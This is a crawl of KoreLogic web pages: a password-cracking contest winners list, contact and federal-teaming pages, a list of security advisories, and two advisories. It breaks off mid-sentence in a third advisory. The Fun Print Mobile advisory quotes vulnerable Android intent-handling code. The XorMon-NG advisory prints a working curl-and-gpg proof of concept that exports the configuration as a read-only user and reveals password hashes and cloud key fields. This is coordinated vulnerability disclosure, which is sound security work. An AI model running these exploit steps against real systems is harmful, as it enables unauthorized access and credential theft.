https://github.com/hashcat/team-hashcat/blob/main/CMIYC2022/CMIYC2022TeamHashcatWriteup.pdf Street Winner Goolickers DEF CON 29 ## Crack Me If You Can 2021 - 2021 Dates August 6-8, 2021 Pro Winner Hashcat Link: https://github.com/hashcat/team-hashcat/tree/main/CMIYC2021 Street Winner Crevasse DEF CON 28 Safe Mode ## Crack Me If You Can 2020 - 2020 Dates August 2020 Pro Winner Hashcat Street Winner trontastic DEF CON 27 ## Crack Me If You Can 2019 - 2019 Dates August 9-11, 2019 Pro Winner Hashcat Street Winner HashCraftsMen DEF CON 26 ## Crack Me If You Can 2018 - 2018 Dates August 10-12, 2018 Pro Winner CynoSure Prime Link: https://blog.cynosureprime.com/2018/08/crack-me-if-you-can-2018-write-up.html Street Winner Hash_Meltdown DerbyCon ## Crack Me If You Can 2018 DerbyCon - 2018 Dates - 2018 Pro Winner CynoSure Prime DerbyCon ## Crack Me If You Can 2017 - 2017 Dates September 22-24, 2017 Pro Winner hashcat Link: https://github.com/hashcat/team-hashcat/blob/main/CMIYC2017/CMIYC2017WriteupHashcat.pdf DEF CON 23 ## Crack Me If You Can 2015 - 2015 Dates August 2015 Pro Winner hashcat Link: /contest-2015/teams/hashcat/ Street Winner Shining Ponies DEF CON 22 ## Crack Me If You Can 2014 - 2014 Dates August 2014 Pro Winner hashcat Link: /contest-2014/teams/hashcat/ Street Winner cmu Link: /contest-2014/teams/cmu/ DEF CON 21 ## Crack Me If You Can 2013 - 2013 Dates August 1-3, 2013 Pro Winner InsidePro Team Link: /contest-2013/teams/inside-pro/ Street Winner brad (16 Systems) Link: /contest-2013/teams/brad/ DEF CON 20 ## Crack Me If You Can 2012 - 2012 Dates July 2012 Pro Winner hashcat Link: /contest-2012/teams/hashcat/ DEF CON 19 ## Crack Me If You Can 2011 - 2011 Dates August 2011 Pro Winner Insidepro team 2011 Link: /contest-2011/teams/insidepro-2011/ DEF CON 18 ## Crack Me If You Can 2010 - 2010 Dates July 2010 Pro Winner hashcat Link: /contest-2010/teams/hashcat/ Back to Crack Me If You Can Link: /contest ## Page Links View Crack Me If You Can 2024 Link: /contest-2024/ View Crack Me If You Can 2023 Link: /contest-2023/ View Crack Me If You Can 2022 Link: /contest-2022/ View Crack Me If You Can 2021 Link: /contest-2021/ View Crack Me If You Can 2020 Link: /contest-2020/ View Crack Me If You Can 2019 Link: /contest-2019/ View Crack Me If You Can 2018 Link: /contest-2018/ View Crack Me If You Can 2018 DerbyCon Link: /contest-2018-derbycon/ View Crack Me If You Can 2017 Link: /contest-2017/ --- ## Contact KoreLogic Security - Professional Cybersecurity Consultation URL: https://korelogic.com/contact/ Contact KoreLogic Security for expert cybersecurity services. Email-first communication approach. Serving organizations across the United States. # Expert Cybersecurity Consultation Email-first communication approach. Cybersecurity services for organizations across the United States. info_2026@korelogic.com Start here for cybersecurity inquiries, project discussions, and technical consultations. Link: mailto:info_2026@korelogic.com?subject=Cybersecurity%20Consultation%20Inquiry ## Contact Options Email-first communication for cybersecurity consultation, project discussions, and service-specific requests ### info_2026@korelogic.com Start here for cybersecurity inquiries, project discussions, and technical consultations. Link: mailto:info_2026@korelogic.com?subject=General%20Cybersecurity%20Inquiry Link: /pgp/info_2026_korelogic.asc ### Service Inquiries Use a service-specific email link to include the right subject line from the start. #### Penetration Testing Full-scope security assessments for web applications, networks, and infrastructure with detailed reporting and remediation guidance. Link: mailto:info_2026@korelogic.com?subject=Penetration%20Testing%20Inquiry #### Password Services Proven Active Directory password security audits and recovery services tailored to meet your specific needs. Link: mailto:info_2026@korelogic.com?subject=Password%20Services%20Inquiry #### Vendor Risk Management Third-party cybersecurity risk reviews, vendor assessments, and supply chain security evaluations across fintech, SaaS, and enterprise platforms. Link: mailto:info_2026@korelogic.com?subject=Vendor%20Risk%20Management%20Inquiry #### Security Consulting Strategic cybersecurity guidance, security architecture review, and threat modeling for enterprise organizations and government agencies. Link: mailto:info_2026@korelogic.com?subject=Security%20Consulting%20Inquiry ## Additional Information Secondary contact methods and important location information for legal correspondence ### Phone Support (855) KORE-HAX Link: tel:+18555673429 ### Business Address 700 E Main Street #371 Richmond, Virginia 23218 Business correspondence and contract delivery ### PGP Key PGP is available for sensitive communication. --- ## Security Advisories - KoreLogic URL: https://korelogic.com/advisories/ KoreLogic security advisories, CVE disclosures, affected vendors and products, and vulnerability research. KoreLogic publishes vulnerability research and coordinated security advisories with affected vendors, products, CVE identifiers, CWE classifications, and disclosure timelines. Total advisories: 105 ## Disclosure Resources - [Disclosure policy TXT](/korelogic-public-vulnerability-disclosure-policy.v2.5.txt) - [Disclosure policy PDF](/korelogic-public-vulnerability-disclosure-policy.v2.5.pdf) - [Disclosure PGP key](/pgp/disclosures_korelogic_02804A51F5727BBC.asc) - [Contact KoreLogic](/contact) ## Advisories - 2026-01-08 - [KL-001-2026-001: yintibao Fun Print Mobile Unauthorized Access via Context Hijacking](https://korelogic.com/advisories/KL-001-2026-001/) - 2025-07-28 - [KL-001-2025-012: Xorux XorMon-NG Read Only User Export Device Configuration Exposing Sensitive Information](https://korelogic.com/advisories/KL-001-2025-012/) - 2025-07-28 - [KL-001-2025-013: Xorux XorMon-NG Web Application Privilege Escalation to Administrator](https://korelogic.com/advisories/KL-001-2025-013/) - 2025-07-28 - [KL-001-2025-014: Xorux LPAR2RRD Read Only User Denial of Service](https://korelogic.com/advisories/KL-001-2025-014/) - 2025-07-28 - [KL-001-2025-015: Xorux LPAR2RRD Read Only User Log Download Exposing Sensitive Information](https://korelogic.com/advisories/KL-001-2025-015/) - 2025-07-28 - [KL-001-2025-016: Xorux LPAR2RRD File Upload Directory Traversal](https://korelogic.com/advisories/KL-001-2025-016/) - 2025-07-09 - [KL-001-2025-006: Schneider Electric EcoStruxure IT Data Center Expert XML External Entities Injection](https://korelogic.com/advisories/KL-001-2025-006/) - 2025-07-09 - [KL-001-2025-007: Schneider Electric EcoStruxure IT Data Center Expert Unauthenticated Remote Code Execution](https://korelogic.com/advisories/KL-001-2025-007/) - 2025-07-09 - [KL-001-2025-008: Schneider Electric EcoStruxure IT Data Center Expert Root Password Discovery](https://korelogic.com/advisories/KL-001-2025-008/) - 2025-07-09 - [KL-001-2025-009: Schneider Electric EcoStruxure IT Data Center Expert Remote Command Execution](https://korelogic.com/advisories/KL-001-2025-009/) - 2025-07-09 - [KL-001-2025-010: Schneider Electric EcoStruxure IT Data Center Expert Privilege Escalation](https://korelogic.com/advisories/KL-001-2025-010/) - 2025-07-09 - [KL-001-2025-011: Schneider Electric EcoStruxure IT Data Center Expert Unauthenticated Server-Side Request Forgery](https://korelogic.com/advisories/KL-001-2025-011/) - 2025-05-22 - [KL-001-2025-003: Mobile Dynamix PrinterShare Mobile Print Gmail Oauth Token Disclosure](https://korelogic.com/advisories/KL-001-2025-003/) - 2025-05-22 - [KL-001-2025-004: Mobile Dynamix PrinterShare Mobile Print Out-of-bounds Write](https://korelogic.com/advisories/KL-001-2025-004/) - 2025-05-22 - [KL-001-2025-005: Mobile Dynamix PrinterShare Mobile Print Double-Free Memory Write](https://korelogic.com/advisories/KL-001-2025-005/) - 2025-02-04 - [KL-001-2025-001: Checkmk NagVis Reflected Cross-site Scripting](https://korelogic.com/advisories/KL-001-2025-001/) - 2025-02-04 - [KL-001-2025-002: Checkmk NagVis Remote Code Execution](https://korelogic.com/advisories/KL-001-2025-002/) - 2024-09-10 - [KL-001-2024-011: VICIdial Unauthenticated SQL Injection](https://korelogic.com/advisories/KL-001-2024-011/) - 2024-09-10 - [KL-001-2024-012: VICIdial Authenticated Remote Code Execution](https://korelogic.com/advisories/KL-001-2024-012/) - 2024-08-07 - [KL-001-2024-005: Open WebUI Stored Cross-Site Scripting](https://korelogic.com/advisories/KL-001-2024-005/) - 2024-08-07 - [KL-001-2024-006: Open WebUI Arbitrary File Upload + Path Traversal](https://korelogic.com/advisories/KL-001-2024-006/) - 2024-08-07 - [KL-001-2024-007: Journyx Unauthenticated Password Reset Bruteforce](https://korelogic.com/advisories/KL-001-2024-007/) - 2024-08-07 - [KL-001-2024-008: Journyx Authenticated Remote Code Execution](https://korelogic.com/advisories/KL-001-2024-008/) - 2024-08-07 - [KL-001-2024-009: Journyx Reflected Cross Site Scripting](https://korelogic.com/advisories/KL-001-2024-009/) - 2024-08-07 - [KL-001-2024-010: Journyx Unauthenticated XML External Entities Injection](https://korelogic.com/advisories/KL-001-2024-010/) - 2024-03-05 - [KL-001-2024-001: Artica Proxy Unauthenticated LFI Protection Bypass Vulnerability](https://korelogic.com/advisories/KL-001-2024-001/) - 2024-03-05 - [KL-001-2024-002: Artica Proxy Unauthenticated PHP Deserialization Vulnerability](https://korelogic.com/advisories/KL-001-2024-002/) - 2024-03-05 - [KL-001-2024-003: Artica Proxy Unauthenticated File Manager Vulnerability](https://korelogic.com/advisories/KL-001-2024-003/) - 2024-03-05 - [KL-001-2024-004: Artica Proxy Loopback Services Remotely Accessible Unauthenticated](https://korelogic.com/advisories/KL-001-2024-004/) - 2023-08-17 - [KL-001-2023-001: Cisco ThousandEyes Enterprise Agent Virtual Appliance Arbitrary File Read via sudo dig](https://korelogic.com/advisories/KL-001-2023-001/) - 2023-08-17 - [KL-001-2023-002: Cisco ThousandEyes Enterprise Agent Virtual Appliance Privilege Escalation via tcpdump](https://korelogic.com/advisories/KL-001-2023-002/) - 2023-08-17 - [KL-001-2023-003: Cisco ThousandEyes Enterprise Agent Virtual Appliance Arbitrary File Modification via sudoedit](https://korelogic.com/advisories/KL-001-2023-003/) - 2022-01-28 - [KL-001-2022-001: Moxa TN-5900 Firmware Upgrade Checksum Validation Vulnerability](https://korelogic.com/advisories/KL-001-2022-001/) - 2022-01-28 - [KL-001-2022-002: Moxa TN-5900 Post Authentication Command Injection Vulnerability](https://korelogic.com/advisories/KL-001-2022-002/) - 2021-09-01 - [KL-001-2021-008: CyberArk Credential File Insufficient Effective Key Space](https://korelogic.com/advisories/KL-001-2021-008/) - 2021-09-01 - [KL-001-2021-009: CyberArk Credential Provider Race Condition And Authorization Bypass](https://korelogic.com/advisories/KL-001-2021-009/) - 2021-09-01 - [KL-001-2021-010: CyberArk Credential Provider Local Cache Can Be Decrypted](https://korelogic.com/advisories/KL-001-2021-010/) - 2021-05-26 - [KL-001-2021-001: CommScope Ruckus IoT Controller Unauthenticated API Endpoints](https://korelogic.com/advisories/KL-001-2021-001/) - 2021-05-26 - [KL-001-2021-002: CommScope Ruckus IoT Controller Hard-coded API Keys Exposed](https://korelogic.com/advisories/KL-001-2021-002/) - 2021-05-26 - [KL-001-2021-003: CommScope Ruckus IoT Controller Hard-coded System Passwords](https://korelogic.com/advisories/KL-001-2021-003/) - 2021-05-26 - [KL-001-2021-004: CommScope Ruckus IoT Controller Hard-coded Web Application Administrator Password](https://korelogic.com/advisories/KL-001-2021-004/) - 2021-05-26 - [KL-001-2021-005: CommScope Ruckus IoT Controller Web Application Directory Traversal](https://korelogic.com/advisories/KL-001-2021-005/) - 2021-05-26 - [KL-001-2021-006: CommScope Ruckus IoT Controller Web Application Arbitrary Read/Write](https://korelogic.com/advisories/KL-001-2021-006/) - 2021-05-26 - [KL-001-2021-007: CommScope Ruckus IoT Controller Undocumented Account](https://korelogic.com/advisories/KL-001-2021-007/) - 2020-11-20 - [KL-001-2020-004: Barco wePresent Hardcoded API Credentials](https://korelogic.com/advisories/KL-001-2020-004/) - 2020-11-20 - [KL-001-2020-005: Barco wePresent Admin Credentials Exposed In Plain-text](https://korelogic.com/advisories/KL-001-2020-005/) - 2020-11-20 - [KL-001-2020-006: Barco wePresent Authentication Bypass](https://korelogic.com/advisories/KL-001-2020-006/) - 2020-11-20 - [KL-001-2020-007: Barco wePresent Undocumented SSH Interface Accessible Via Web UI](https://korelogic.com/advisories/KL-001-2020-007/) - 2020-11-20 - [KL-001-2020-008: Barco wePresent Global Hardcoded Root SSH Password](https://korelogic.com/advisories/KL-001-2020-008/) - 2020-11-20 - [KL-001-2020-009: Barco wePresent Insecure Firmware Image](https://korelogic.com/advisories/KL-001-2020-009/) - 2020-06-29 - [KL-001-2020-003: Cellebrite EPR Decryption Relies on Hardcoded AES Key Material](https://korelogic.com/advisories/KL-001-2020-003/) - 2020-05-14 - [KL-001-2020-002: Cellebrite Restricted Desktop Escape and Escalation of User Privilege](https://korelogic.com/advisories/KL-001-2020-002/) - 2020-04-13 - [KL-001-2020-001: Cellebrite Hardcoded ADB Authentication Keys](https://korelogic.com/advisories/KL-001-2020-001/) - 2018-11-05 - [KL-001-2018-009: Dell OpenManage Network Manager Multiple Vulnerabilities](https://korelogic.com/advisories/KL-001-2018-009/) - 2018-06-25 - [KL-001-2018-008: HPE VAN SDN Unauthenticated Remote Root Vulnerability](https://korelogic.com/advisories/KL-001-2018-008/) - 2018-03-02 - [KL-001-2018-007: Sophos UTM 9 loginuser Privilege Escalation via confd Service](https://korelogic.com/advisories/KL-001-2018-007/) - 2018-02-08 - [KL-001-2018-002: NetEx HyperIP Authentication Bypass](https://korelogic.com/advisories/KL-001-2018-002/) - 2018-02-08 - [KL-001-2018-003: NetEx HyperIP Post-Auth Command Execution](https://korelogic.com/advisories/KL-001-2018-003/) - 2018-02-08 - [KL-001-2018-004: NetEx HyperIP Privilege Escalation Vulnerability](https://korelogic.com/advisories/KL-001-2018-004/) - 2018-02-08 - [KL-001-2018-005: NetEx HyperIP Local File Inclusion Vulnerability](https://korelogic.com/advisories/KL-001-2018-005/) - 2018-02-08 - [KL-001-2018-006: Trend Micro IMSVA Management Portal Authentication Bypass](https://korelogic.com/advisories/KL-001-2018-006/) - 2018-01-26 - [KL-001-2018-001: Sophos Web Gateway Persistent Cross Site Scripting Vulnerability](https://korelogic.com/advisories/KL-001-2018-001/) - 2017-11-03 - [KL-001-2017-022: Splunk Local Privilege Escalation](https://korelogic.com/advisories/KL-001-2017-022/) - 2017-10-24 - [KL-001-2017-017: Infoblox NetMRI Administration Shell Escape and Privilege Escalation](https://korelogic.com/advisories/KL-001-2017-017/) - 2017-10-24 - [KL-001-2017-018: Infoblox NetMRI Administration Shell Factory Reset Persistence](https://korelogic.com/advisories/KL-001-2017-018/) - 2017-10-24 - [KL-001-2017-019: Sonicwall WXA5000 Console Jail Escape and Privilege Escalation](https://korelogic.com/advisories/KL-001-2017-019/) - 2017-10-24 - [KL-001-2017-020: Sophos UTM 9 loginuser Privilege Escalation via Insecure Directory Permissions](https://korelogic.com/advisories/KL-001-2017-020/) - 2017-10-24 - [KL-001-2017-021: Sophos UTM 9 Management Application Local File Inclusion](https://korelogic.com/advisories/KL-001-2017-021/) - 2017-09-25 - [KL-001-2017-016: Solarwinds LEM Insecure Update Process](https://korelogic.com/advisories/KL-001-2017-016/) - 2017-07-06 - [KL-001-2017-010: Barracuda WAF Early Boot Root Shell](https://korelogic.com/advisories/KL-001-2017-010/) - 2017-07-06 - [KL-001-2017-011: Barracuda WAF Internal Development Credential Disclosure](https://korelogic.com/advisories/KL-001-2017-011/) - 2017-07-06 - [KL-001-2017-012: Barracuda WAF Grub Password Complexity](https://korelogic.com/advisories/KL-001-2017-012/) - 2017-07-06 - [KL-001-2017-013: Barracuda WAF Management Application Username and Session ID Leak](https://korelogic.com/advisories/KL-001-2017-013/) - 2017-07-06 - [KL-001-2017-014: Barracuda WAF Support Tunnel Hijack](https://korelogic.com/advisories/KL-001-2017-014/) - 2017-07-06 - [KL-001-2017-015: Solarwinds LEM Hardcoded Credentials](https://korelogic.com/advisories/KL-001-2017-015/) - 2017-04-24 - [KL-001-2017-005: Solarwinds LEM Privilege Escalation via Controlled Sudo Path](https://korelogic.com/advisories/KL-001-2017-005/) - 2017-04-24 - [KL-001-2017-006: Solarwinds LEM Privilege Escalation via Sudo Script Abuse](https://korelogic.com/advisories/KL-001-2017-006/) - 2017-04-24 - [KL-001-2017-007: Solarwinds LEM Management Shell Escape via Command Injection](https://korelogic.com/advisories/KL-001-2017-007/) - 2017-04-24 - [KL-001-2017-008: Solarwinds LEM Management Shell Arbitrary File Read](https://korelogic.com/advisories/KL-001-2017-008/) - 2017-04-24 - [KL-001-2017-009: Solarwinds LEM Database Listener with Hardcoded Credentials](https://korelogic.com/advisories/KL-001-2017-009/) - 2017-03-10 - [KL-001-2017-004: WatchGuard XTMv User Management Cross-Site Request Forgery](https://korelogic.com/advisories/KL-001-2017-004/) - 2017-02-15 - [KL-001-2017-001: Trendmicro InterScan Arbitrary File Write](https://korelogic.com/advisories/KL-001-2017-001/) - 2017-02-15 - [KL-001-2017-002: Trendmicro InterScan Privilege Escalation Vulnerability](https://korelogic.com/advisories/KL-001-2017-002/) - 2017-02-15 - [KL-001-2017-003: Trendmicro InterScan Remote Root Access Vulnerability](https://korelogic.com/advisories/KL-001-2017-003/) - 2016-11-03 - [KL-001-2016-008: Sophos Web Appliance Privilege Escalation](https://korelogic.com/advisories/KL-001-2016-008/) - 2016-11-03 - [KL-001-2016-009: Sophos Web Appliance Remote Code Execution](https://korelogic.com/advisories/KL-001-2016-009/) - 2016-10-05 - [KL-001-2016-004: Cisco Firepower Threat Management Console Authenticated Denial of Service](https://korelogic.com/advisories/KL-001-2016-004/) - 2016-10-05 - [KL-001-2016-005: Cisco Firepower Threat Management Console Hard-coded MySQL Credentials](https://korelogic.com/advisories/KL-001-2016-005/) - 2016-10-05 - [KL-001-2016-006: Cisco Firepower Threat Management Console Local File Inclusion](https://korelogic.com/advisories/KL-001-2016-006/) - 2016-10-05 - [KL-001-2016-007: Cisco Firepower Threat Management Console Remote Command Execution Leading to Root Access](https://korelogic.com/advisories/KL-001-2016-007/) - 2016-07-01 - [KL-001-2016-003: SQLite Tempdir Selection Vulnerability](https://korelogic.com/advisories/KL-001-2016-003/) - 2016-06-28 - [KL-001-2016-002: Ubiquiti Administration Portal CSRF to Remote Command Execution](https://korelogic.com/advisories/KL-001-2016-002/) - 2016-02-12 - [KL-001-2016-001: Arris DG1670A Cable Modem Remote Command Execution](https://korelogic.com/advisories/KL-001-2016-001/) - 2015.01.28 - [KL-001-2015-001: Microsoft Windows Server 2003 SP2 Arbitrary Write Privilege Escalation](https://korelogic.com/advisories/KL-001-2015-001/) - 2015-12-18 - [KL-001-2015-007: Seagate GoFlex Satellite Remote Telnet Default Password](https://korelogic.com/advisories/KL-001-2015-007/) - 2015-12-18 - [KL-001-2015-008: Dell Pre-Boot Authentication Driver Uncontrolled Write to Arbitrary Address](https://korelogic.com/advisories/KL-001-2015-008/) - 2015-12-04 - [KL-001-2015-006: Linksys EA6100 Wireless Router Authentication Bypass](https://korelogic.com/advisories/KL-001-2015-006/) - 2015-09-16 - [KL-001-2015-005: VBox Satellite Express Arbitrary Write Privilege Escalation](https://korelogic.com/advisories/KL-001-2015-005/) - 2015-09-01 - [KL-001-2015-003: SiS Windows VGA Display Manager Multiple Privilege Escalation](https://korelogic.com/advisories/KL-001-2015-003/) - 2015-09-01 - [KL-001-2015-004: XGI Windows VGA Display Manager Arbitrary Write Privilege Escalation](https://korelogic.com/advisories/KL-001-2015-004/) - 2015-05-18 - [KL-001-2015-002: Piriform CCleaner Wiped Filename Recovery](https://korelogic.com/advisories/KL-001-2015-002/) - 2014-11-04 - [KL-001-2014-004: VMWare vmx86.sys Arbitrary Kernel Read](https://korelogic.com/advisories/KL-001-2014-004/) - 2014-07-18 - [KL-001-2014-002: Microsoft XP SP3 BthPan.sys Arbitrary Write Privilege Escalation](https://korelogic.com/advisories/KL-001-2014-002/) - 2014-07-18 - [KL-001-2014-003: Microsoft XP SP3 MQAC.sys Arbitrary Write Privilege Escalation](https://korelogic.com/advisories/KL-001-2014-003/) - 07.15.2014 - [KL-001-2014-001: Oracle VirtualBox Guest Additions Arbitrary Write Privilege Escalation](https://korelogic.com/advisories/KL-001-2014-001/) --- ## Federal Teaming & GSA Subcontracting - KoreLogic URL: https://korelogic.com/services/federal-teaming/ Federal teaming and GSA subcontracting support for prime contractors that need specialized cybersecurity expertise for government engagements. Federal Teaming & GSA Subcontracting # Federal Teaming & GSA Subcontracting Specialized offensive and defensive security depth for prime contractors supporting federal agencies, backed by government delivery experience, original R&D, and a proven track record. - 20+ Years Experience - Offensive and defensive security delivery since 2004 - 60+ CVEs - Original research and industry-used tooling ## Why KoreLogic Prime contractors bring us in when they need results that reflect well on their reputation, not just staff to fill labor categories. ### Senior Team Engagements are staffed by seasoned security practitioners averaging more than 15 years of experience. ### Proven Federal Track Record We have supported U.S. government entities including Department of Justice, Treasury, FDIC, U.S. House of Representatives, and Department of War, DTIC, DARPA, and OUSD(R&E). CAGE Code: 67VV8 | UEI: HL2LKG7LM2F3 ### Certified, Prime-Ready Delivery Our ISO 27001:2022 certification, CREST accreditation, and assessment methodology meet standards primes can cite in proposal responses. ### Founder-Operated Culture KoreLogic is independently operated and founder-led, so senior decision-makers stay close to scoping, delivery, and quality assurance. ### SAM-Registered Small Business Subcontracting with us helps primes satisfy FAR 19.704 / FAR 52.219-9 requirements. ### Secure by Default PGP-encrypted communications, disk and file-level encryption, and need-to-know access are standard practice. ## Technical Capabilities Scoped to your task order requirements. We match your reporting templates and work directly with agency stakeholders when needed. Discuss a Federal Opportunity Link: mailto:info_2026@korelogic.com?subject=Federal%20Teaming%20Inquiry Penetration testing across networks, applications, cloud, and infrastructure Red team operations and adversary simulation against realistic threat models Manual web, API, mobile, and custom software security assessments Password auditing and recovery backed by original password security research AI/ML security testing for model poisoning, prompt injection, and data leakage risks Security assessment, ST&E support, architecture reviews, and vendor risk management ## How It Works From teaming agreement to delivery, we work at your pace and fit your program structure. ### 1. Initial Discussion Share the agency, scope, timeline, and clearance requirements. We give a direct answer on fit and capacity. ### 2. Teaming Agreement Provide NDAs, MSAs, teaming agreements, capability statements, certifications, and past performance materials, to move quickly. ### 3. Capability Alignment We map our technical depth and expertise to your specific solicitation requirements, giving your proposal team what they need to build a strong submission. ### 4. Scoping & Kickoff Our team works with your technical and program staff on scope, rules of engagement, deliverables, and schedule. ### 5. Delivery & Reporting We execute the work and deliver findings reports from executive summary through technical detail, matching your templates when required. ### 6. Debrief & Follow-On We support agency debriefs, remediation validation, and follow-on assessment needs throughout the contract period. ## Start the Conversation Whether you have an active opportunity, a pending task order, or want KoreLogic on your subcontractor roster, we are ready to talk. All discussions are confidential. Link: mailto:info_2026@korelogic.com?subject=Federal%20Teaming%20Inquiry PGP Encryption Key Link: /pgp/info_2026_korelogic.asc Link: /services Use the PGP encryption key for info_2026@korelogic.com when sending sensitive details. --- ## KL-001-2026-001: yintibao Fun Print Mobile Unauthorized Access via Context Hijacking URL: https://korelogic.com/advisories/KL-001-2026-001/ KL-001-2026-001 - yintibao Fun Print Mobile Unauthorized Access via Context Hijacking - CVE-2025-15464 - yintibao Fun Print Mobile Advisory ID: KL-001-2026-001 Published: 2026-01-08 Vendor: yintibao Product: Fun Print Mobile Version: 6.05.15 Platform: ARM64 - Android CVE: CVE-2025-15464 CWE: CWE-926 - Improper Export of Android Application Components Discovered by: Felix Segoviano ## References - [CWE-926 - Improper Export of Android Application Components](https://cwe.mitre.org/data/definitions/926.html) - [CVE-2025-15464](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-15464) - [Signed advisory text](/advisories/KL-001-2026-001.txt) - [JAVASCRIPT proof of concept](/advisories/KL-001-2026-001.poc.js.txt) ## Vulnerability Description Exported Activity allows external applications to gain application context and directly launch Gmail with inbox access, bypassing security controls. ## Technical Description - Performed on Android 13 aarch64 - Samsung (Galaxy Tab A7 Lite) - Using Frida client on Ubuntu 24.04 LTS - Frida server on Samsung Rooted Device. - The target Activity is exported true. Which means any application may interact with it, given that permissions are provided. - The attacking host needs to attach the device email to the application; then the account can be used by the application. The `PandoraEntry` activity is exported (`android:exported="true"`) and processes external intents without validation. Below is the `PandoraEntryActivity` code: ```java protected void onCreate(Bundle bundle) { // ... INITALIZATION CODE ... super.onCreate(bundle); // BELOW EXTERNAL INTENT ACCEPTED WITHOUT VALIDATION Intent intent = getIntent(); // ... PROCESSING CONTINUES WITH UNVALIDATED INTENT ... if (intent.hasExtra(IntentConst.START_FROM_TO_CLASS) && SDK.isUniMPSDK()) { String stringExtra = intent.getStringExtra(IntentConst.START_FROM_TO_CLASS); if (!TextUtils.isEmpty(stringExtra) && stringExtra.startsWith("io.dcloud.feature.sdk.multi")) { intent.setClassName(getPackageName(), stringExtra); intent.removeExtra(IntentConst.START_FROM_TO_CLASS); } } else { intent.putExtra(IntentConst.WEBAPP_SHORT_CUT_CLASS_NAME, PandoraEntry.class.getName()); intent.setClass(this, PandoraEntryActivity.class); } //UNVALIDATED INTENT FORWARDED startActivity(intent); overridePendingTransition(0, 0); } ``` ## Mitigation and Remediation Recommendation No response from vendor. There are no known mitigations to end-users of the affected application version(s). ## Credit This vulnerability was discovered by Felix Segoviano of KoreLogic, Inc. ## Proof of Concept URL: [https://www.korelogic.com/advisories/KL-001-2026-001.poc.js.txt](/advisories/KL-001-2026-001.poc.js.txt) SHA256sum: ddb3c840c94b204fbbe2931a68771ae28d8ea9c778310cfa83e218a64a41ffd5 --- ## KL-001-2025-012: Xorux XorMon-NG Read Only User Export Device Configuration Exposing Sensitive Information URL: https://korelogic.com/advisories/KL-001-2025-012/ KL-001-2025-012 - Xorux XorMon-NG Read Only User Export Device Configuration Exposing Sensitive Information - CVE-2025-54766 - Xorux XorMon-NG Advisory ID: KL-001-2025-012 Published: 2025-07-28 Vendor: Xorux Product: XorMon-NG Version: 1.8 and prior Platform: Debian CVE: CVE-2025-54766 CWE: CWE-648 - Incorrect Use of Privileged APIs Discovered by: Jim Becher ## References - [CWE-648 - Incorrect Use of Privileged APIs](https://cwe.mitre.org/data/definitions/648.html) - [CVE-2025-54766](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-54766) - [Signed advisory text](/advisories/KL-001-2025-012.txt) ## Vulnerability Description An API endpoint that should be limited to web application administrators is hidden from, but accessible by, lower-level read only web application users. The endpoint can be used to export the appliance configuration, exposing sensitive information. ## Technical Description A read-only user can access a web application endpoint by which device exports can be downloaded. The device exports are in tar.gz.gpg format, and can be extracted to reveal sensitive information that a read-only user should not be privileged to view. The GPG decryption uses a default of "undefined" for symmetric encryption and decryption. These files include password hashes for all users within the Xormon-NG web application and cloud credentials in clear text. An authenticated, read-only attacker could leverage this vulnerability to obtain and attempt to crack password hashes for more privileged users, including the admin user. An attacker could also leverage this vulnerability to gain access to cloud infrastructure. ## Mitigation and Remediation Recommendation Xorux released version 1.9.38, which includes a remediation for this vulnerability. See https://xormon.com/note190.php. ## Credit This vulnerability was discovered by Jim Becher of KoreLogic, Inc. ## Proof of Concept ```text $ curl -k -H "Content-Type: application/json" -H "Cookie: connect.sid=s%3AqF6R6oacG-octtP9NlJkYh7KqkVWF6on.pTnLbzxDG7MjijzVV%2FbFbPGv7dP%2FZkdQpEco456VZb0" 'https://172.31.255.208/api/confporter/v1/export' -X POST -d '{"keys":["hostcfg","users","groups","ldaps"],"password":"undefined"}' -o configuration061025-check-aws.tar.gz.gpg $ gpg --output configuration061025-check-aws.tar.gz --decrypt configuration061025-check-aws.tar.gz.gpg gpg: AES256.CFB encrypted data gpg: encrypted with 1 passphrase $ gunzip configuration061025-check-aws.tar.gz $ tar xvf configuration061025-check-aws.tar confporter/ confporter/admin_groups.csv confporter/group_ldap_groups.csv confporter/groups.csv confporter/hostcfg.csv confporter/ldap_groups.csv confporter/ldaps.csv confporter/package.json confporter/users.csv confporter/users_groups.csv confporter/versions.csv $ more confporter/hostcfg.csv hostcfg_id;label;hw_type;disabled;target;ignore_health_status;ignore_health_status_reason;data;createdAt;updatedAt dc4547c2-1dc8-4ec1-a29e-29c36169e55f;testaws;aws;false;false;true;ccccc;{"host":"aws.amazon.com","port":null,"created":1749563055535,"regions":[""],"updated":null,"disabled":false,"interval":300,"description":"testaws","available_regions":[""],"aws_access_key_id":"AAAAAAAAAAAAAAAAA","aws_secret_access_key":"BBBBBBBBBBBBBBBBBBBBBBBBBBBBB"};2025-06-10T13:44:15.891Z;2025-06-10T13:44:15.891Z; $ more confporter/users.csv user_id;username;email;password;active;locked;failed_login_attempts;readonly;ldap_id;timezone;created;updated;logged;configuration 1;xormon;;$2b$10$GTliGfYOL7cUmvLpd6qTB.6x8UNTymyHrvLTncLoBmM/7Y5p4WsXi;true;false;0;false;;Etc/UTC;2025-06-09T20:27:52.040Z;2025-06-09T20:28:28.077Z;2025-06-09T20:28:28.051Z;{"showReleaseNotes":true,"searchHistoryLimit":40}; 3;adman;adman@adman.com;$2a$10$MvdgLQO60xPZyRIU/rXCeucdZsy4LMyGXCW36IIbrWTmBXNFb5urW;true;false;0;false;;UTC;2025-06-09T20:29:11.811Z;2025-06-09T20:29:11.811Z;;{"searchHistoryLimit":40}; 2;jbecher;jbecher@korelogic.com;$2a$10$gfngoltRPRvd0epLQ7YHVOrBDp1MuSvVlxMoOivIC1HwHsXRN1VVK;true;false;0;false;;UTC;2025-06-09T20:28:55.801Z;2025-06-09T20:52:19.347Z;2025-06-09T20:52:19.346Z;{"searchHistoryLimit":40}; ``` --- ## KL-001-2025-013: Xorux XorMon-NG Web Application Privilege Escalation to Administrator URL: https://korelogic.com/advisories/KL-001-2025-013/ KL-001-2025-013 - Xorux XorMon-NG Web Application Privilege Escalation to Administrator - CVE-2025-54765 - Xorux XorMon-NG Advisory ID: KL-001-2025-013 Published: 2025-07-28 Vendor: Xorux Product: XorMon-NG Version: 1.8 and prior Platform: Debian CVE: CVE-2025-54765 CWE: CWE-648 - Incorrect Use of Privileged APIs Discovered by: Jim Becher ## References - [CWE-648 - Incorrect Use of Privileged APIs](https://cwe.mitre.org/data/definitions/648.html) - [CVE-2025-54765](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-54765) - [Signed advisory 